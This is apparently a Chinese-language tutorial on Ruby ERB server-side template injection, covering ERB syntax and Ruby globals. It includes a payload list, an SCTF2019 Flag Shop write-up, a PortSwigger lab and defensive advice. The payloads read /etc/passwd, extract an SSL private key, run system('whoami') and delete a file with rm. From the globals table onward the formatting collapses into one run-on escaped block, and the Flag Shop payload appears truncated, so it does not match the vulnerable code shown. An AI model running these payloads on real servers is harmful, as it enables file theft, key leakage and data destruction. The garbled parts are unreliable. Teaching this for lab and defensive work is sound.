Ruby ERB模板注入安全研究
1. 模板引擎概述
1.1 客户端模板引擎
- 字符串模板引擎:doT.js、dust.js、mustache.js
- DOM模板引擎:vue.js、Angular.js、React.js
1.2 服务端模板引擎
- PHP:Smarty、Twig
- Java:Freemarker、Velocity
- Python:Jinja2、Tornado、Marko
- Ruby:Slim、ERB
- NodeJS:Jade
2. Ruby ERB模板基础
2.1 基本语法
<% 写逻辑脚本(Ruby语法) %><%= 直接输出变量值或运算结果 %>
2.2 基本示例
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
3. ERB模板注入攻击
3.1 攻击方法
- 识别模板引擎
- 枚举可访问的类/方法
- 利用它们获取所需操作(文件读写、命令执行等)
3.2 常见攻击向量
- 数学运算注入:
<%= 7 * 7 %> - 文件读取:
<%= File.open('test').read %> - 方法枚举:
<%= self.methods %>
4. Ruby全局变量
| 变量 | 描述 |
|---|---|
$! |
错误信息 |
$@ |
错误发生的位置 |
$0 |
正在执行的程序的名称 |
$& |
成功匹配的字符串 |
$/ |
输入分隔符,默认为换行符 |
$\ |
输出记录分隔符 |
$. |
上次读取的文件的当前输入行号 |
$~ |
最后一次匹配数据 |
$' |
最后一次匹配后的内容(重要) |
| ` |
\[` | Ruby的进程号 | | `$?` | 最后执行的子进程的状态 | | `ENV` | 当前环境变量 | ## 5. 常用Payload ```ruby <%= 7 * 7 %> <%= File.open('/etc/passwd').read %> <%= self %> # 枚举对象可用属性及方法 <%= self.class.name %> # 获取self对象的类名 <%= self.methods %> <%= session.class.name %> <%= self.instance_variables %> <% ssl=@server.instance_variable_get(:@ssl_context) %> <%= ssl.instance_variables %> <% ssl = @server.instance_variable_get(:@ssl_context) %> <%= ssl.instance_variable_get(:@key) %> # 提取key值 ``` ## 6. 实战案例分析 ### 6.1 [SCTF2019]Flag Shop漏洞分析 **漏洞代码片段**: ```ruby get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("").result end end ``` **利用方法**: 1. 利用全局变量`$'`获取最后一次匹配后的内容(即JWT secret) 2. Payload: `work?SECRET=&name=do=is working` ### 6.2 PortSwigger靶场案例 **攻击步骤**: 1. 发现message参数存在ERB模板注入 2. 测试基本注入:`<%=7*7%>` 3. 执行系统命令:`<%=system("whoami")%>` 4. 删除目标文件:`<%=system("rm%20/home/carlos/morale.txt")%>` ## 7. 防御措施 1. 对用户输入进行严格过滤和转义 2. 避免直接将用户输入传递给模板引擎 3. 使用安全的模板渲染方法 4. 限制模板中可以访问的类和方法 5. 定期更新模板引擎到最新版本 ## 8. 总结 Ruby ERB模板注入与常见的SSTI攻击模式一致: 1. 识别模板引擎类型 2. 枚举可访问的类/方法 3. 利用可用方法执行所需操作 安全团队应特别注意敏感信息的泄露问题,尤其是当模板引擎可以访问系统命令或文件操作时。\]